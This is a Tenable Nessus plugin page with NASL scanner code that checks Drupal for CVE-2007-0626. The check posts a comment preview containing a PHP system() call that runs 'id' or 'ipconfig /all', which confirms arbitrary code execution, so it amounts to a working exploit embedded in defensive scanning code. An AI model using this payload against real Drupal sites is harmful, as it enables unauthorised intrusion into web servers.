Lucene search

K
nessusThis script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.DRUPAL_COMMENT_CODE_EXEC.NASL
HistoryFeb 01, 2007 - 12:00 a.m.

Drupal Comment Function Arbitrary Code Execution

2007-02-0100:00:00
This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
8

The version of Drupal running on the remote host fails to properly validate previews on comments, and allows access to more than one input filter, which is not enabled by default. An attacker can exploit this issue by previewing a comment to have it interpreted as PHP code, resulting in arbitrary code execution with the privileges of the web server user id.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(24265);
  script_version("1.27");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2007-0626");
  script_bugtraq_id(22306);

  script_name(english:"Drupal Comment Function Arbitrary Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Drupal running on the remote host fails to properly
validate previews on comments, and allows access to more than one
input filter, which is not enabled by default. An attacker can exploit
this issue by previewing a comment to have it interpreted as PHP code,
resulting in arbitrary code execution with the privileges of the web
server user id.");
  script_set_attribute(attribute:"see_also", value:"https://www.drupal.org/node/113935");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Drupal version 4.7.6 / 5.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2007-0626");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_cwe_id(20);

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/01/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2007/01/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/02/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:drupal:drupal");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "drupal_detect.nasl");
  script_require_keys("installed_sw/Drupal", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("install_func.inc");

app = "Drupal";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(qs:dir, port:port);

# First we need a posting id.
r = http_send_recv3(
  method : "GET",
  item   : dir + "/index.php",
  port   : port,
  exit_on_fail : TRUE
);

pat = '<a href="(' + dir + '/\\?q=|' + dir + '/)?comment/reply/([0-9]+)';
matches = egrep(pattern:pat, string: r[2]);
pid = NULL;
if (matches)
{
  foreach match (split(matches))
  {
    match = chomp(match);
    subpats = pregmatch(pattern:pat, string:match);
    if (!isnull(subpats))
    {
      pid = subpats[2];
      break;
    }
  }
}

# If we have one...
if (!isnull(pid))
{
  # Pull up the form.
  url = dir + "/?q=comment/reply/" + pid + "#comment_form";
  r = http_send_recv3(port:port, method: "GET", item: url, exit_on_fail: TRUE);

  # Grab the form token.
  pat = 'name="edit[form_token]"[^>]* value="([^"]+)"';
  matches = egrep(pattern:pat, string: r[2]);
  token = NULL;
  if (matches)
  {
    foreach match (split(matches))
    {
      match = chomp(match);
      subpats = pregmatch(pattern:pat, string:match);
      if (!isnull(subpats))
      {
        token = subpats[1];
        break;
      }
    }
  }
  if (isnull(token)) token = "e7a9fc015e16fc6d493bf1692b7c28e8";

  # Make sure the PHP input filter is allowed
  if (
    (' name="edit[format]" value="' >< r[2] ||
     'name="format" value="' >< r[2]) &&
    "You may post PHP code." >< r[2]
  )
  {
    # Figure out which input filter allows PHP code.
    filter = NULL;
    filter_name = NULL;
    j = 0;
    while (j >= 0)
    {
      i = stridx(r[2], 'name="edit[format]"', j);
      if (i <= 0) i = stridx(r[2], 'name="format" value="', j);
      if (i >= 0) j = stridx(r[2], "</div>", i);
      else j = -1;

      if (j > 0)
      {
        item = substr(r[2], i, j);
        if ("You may post PHP code." >< item)
        {
          pat = 'name="(edit\\[format\\]|format)" value="([0-9]+)"';
          matches = egrep(pattern:pat, string:item);
          if (matches)
          {
            foreach match (split(matches))
            {
              match = chomp(match);
              subpats = pregmatch(pattern:pat, string:match);
              if (!isnull(subpats))
              {
                filter = subpats[2];
                break;
              }
            }
          }

          pat = '> ([^<]+)</label>';
          matches = egrep(pattern:pat, string:item);
          if (matches)
          {
            foreach match (split(matches))
            {
              match = chomp(match);
              subpats = pregmatch(pattern:pat, string:match);
              if (!isnull(subpats))
              {
                filter_name = subpats[1];
                break;
              }
            }
          }
          j = -1;
        }
      }
    }

    if (!isnull(filter))
    {
      # Determine which command to execute on target host
      os = get_kb_item("Host/OS");
      if (os && report_paranoia < 2)
      {
        if ("Windows" >< os) cmd = 'ipconfig /all';
        else cmd = 'id';

        cmds = make_list(cmd);
      }
      else cmds = make_list('id', 'ipconfig /all');

      cmd_pats = make_array();
      cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
      cmd_pats['ipconfig /all'] = "Windows IP Configuration|(Subnet Mask|IP(v(4|6))? Address)[\. ]*:";

      foreach cmd (cmds)
      {
        # Drupal 4.x
        if (' name="edit[format]" value="' >< r[2])
        {
          postdata =
            "edit[subject]=Nessus&" +
            "edit[comment]="+urlencode(str:"<?php system('"+cmd+"'); ?>")+"&"+
            "edit[format]=" + filter + "&" +
            "edit[form_token]=" + token + "&" +
            "edit[form_id]=comment_form&" +
            "op=Preview+comment";
        }
        # Drupal 5.x
        else
        {
          postdata =
            "subject=Nessus&" +
            "comment="+urlencode(str:"<?php system('"+cmd+"'); ?>") + "&" +
            "format=" + filter + "&" +
            "form_token=" + token + "&" +
            "form_id=comment_form&" +
            "op=Preview+comment";
        }
        r = http_send_recv3(
          method : "POST",
          port   : port,
          item   : url,
          data   : postdata,
          content_type : "application/x-www-form-urlencoded",
          exit_on_fail : TRUE
        );

        # There's a problem if we see the code in the output.
        line = egrep(pattern:cmd_pats[cmd], string:r[2]);
        if (line)
        {
          vuln = TRUE;
          line = strstr(r[2], line);
        }
        if (vuln) break;
      }
    }
  }
  else if ("You may post PHP code." >!< r[2])
    exit(0, "PHP code in comments is not supported on the " + app + " install at " + install_url);
}
if (vuln)
{
  if (cmd == 'id') line_limit = 2;
  else line_limit = 5;

  security_report_v4(
    port        : port,
    severity    : SECURITY_WARNING,
    cmd         : cmd,
    line_limit  : line_limit,
    rep_extra   : "This exploit used the '"+filter_name+"' input filter.",
    request     : make_list(http_last_sent_request()),
    output      : chomp(line)
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
VendorProductVersionCPE
drupaldrupalcpe:/a:drupal:drupal
Related for DRUPAL_COMMENT_CODE_EXEC.NASL